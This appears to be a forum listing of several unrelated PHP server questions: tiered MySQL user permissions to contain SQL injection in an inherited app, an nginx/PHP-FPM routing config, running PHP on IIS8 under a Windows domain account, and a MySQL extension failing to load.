    I've inherited a php web app that is very insecure, with a history of sql injection. I can't fix the scripts immediately, I rather need them to be running to have the website running, and there are too many php scripts to deal with from the php end first. I do, however, have full control over the server and the software on the server, including full control over the mysql database and it's users. Let's estimate it at something like 300 scripts overall, 40 semi-private scripts, and 20 private/secure scripts. So my question is how best to go about securing the data, with the implicit assumption that sql injection from the php side (e.g. somewhere in that list of 300 scripts) is inevitable? My first-draft plan is to create multiple tiers of different permissioned users in the mysql database. In this way I can secure the data & scripts in most need of securing first ("private/secure" category), then the second tier of database tables & scripts ("semi-private"), and finally deal with the security of the rest of the php app overall (with the result of finally securing the database tables that essentially deal with "public" information, e.g. stuff that even just viewing the homepage requires). So, 3 database users (public, semi-private, and secure), with a different user connecting for each of three different groups of scripts (the secure scripts, the semi-private scripts, and the public scripts). In this way, I can prevent all access to "secure" from "public" or from "semi-private", and to "semi-private" from "public". Are there other alternatives that I should look into? If a tiered access system is the way to go, what approaches are best?

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  • Require and Includes not Functioning Nginx Fpm/FastCGI

    - by Vince Kronlein
    I've split up my FPM pools so that php will run under each individual user and set the routing correctly in my vhost.conf files to pass the proper port number. But I must have something incorrect in my environment because on this new domain I set up, require, require_once, include, include_once do not function, or rather, they may not be getting passed up to the interpreter to be rendered as php. Since I already have a Wordpress install on this server that runs perfectly, I'm pretty sure the error is in my server block for nginx. server { server_name www.domain.com; rewrite ^(.*) http://domain.com$1 permanent; } server { listen 80; server_name domain.com; client_max_body_size 500M; index index.php index.html index.htm; root /home/username/public_html; location / { try_files $uri $uri/ index.php; } location ~ \.php$ { if (!-e $request_filename) { rewrite ^(.*)$ /index.php?name=$1 break; } fastcgi_pass 127.0.0.1:9002; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } location ~ /\.ht { deny all; } } The problem I'm finding I think is that there are dynamic calls to the doc root index file, while all calls to anything within a sub-folder should be routed as normal ie: NOT passed to index.php. I can't seem to find the right mix here. It should run like so: domain.com/cindy (file doesn't exist) --> index.php?name=$1 domain.com/admin/anyfile.php (files DO exist) --> admin/anyfile.php?$args

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  • How to run PHP + IIS8 as Windows User, or should I?

    - by Jake
    I am creating a PHP website on IIS8 that needs to connect to an SQL Server that is in the same Windows Domain as the IIS8. I am given a Windows Domain user account and asked to connect using its credentials. I am using sqlserv_connect() for PHP and I get the error Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON' Is there a way to run PHP + IIS8 as the windows domain user? Or MUST I configure SQL Server to use SQL Authentication mode so that I can supply a username and password?

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  • Why doesn't my PHP install see the MySQL extension?

    - by Evan Padd
    So I just set up PHP (Version 5.2.17), MySQL (5.5.28), and Apace (2.2) on my Windows 7 computer. I want to test a mysql connection, but the mysql extension is apparently not loaded (based on phpinfo()). Here's what I did: Changed the extension dir in the php.ini (extension_dir = ".;c:\php\ext") and uncommented the extension=php_mysql.dll line Copied libmysql.dll to the Apache's bin directory Added C:\php to the system's $PATH Restarted the server, then the computer And it's still not working. What did I miss? EDIT: I'm looking through phpinfo()'s outout and it says: "Server API | Apache 2.0 Handler" and I'm running 2.2. Is that a problem?

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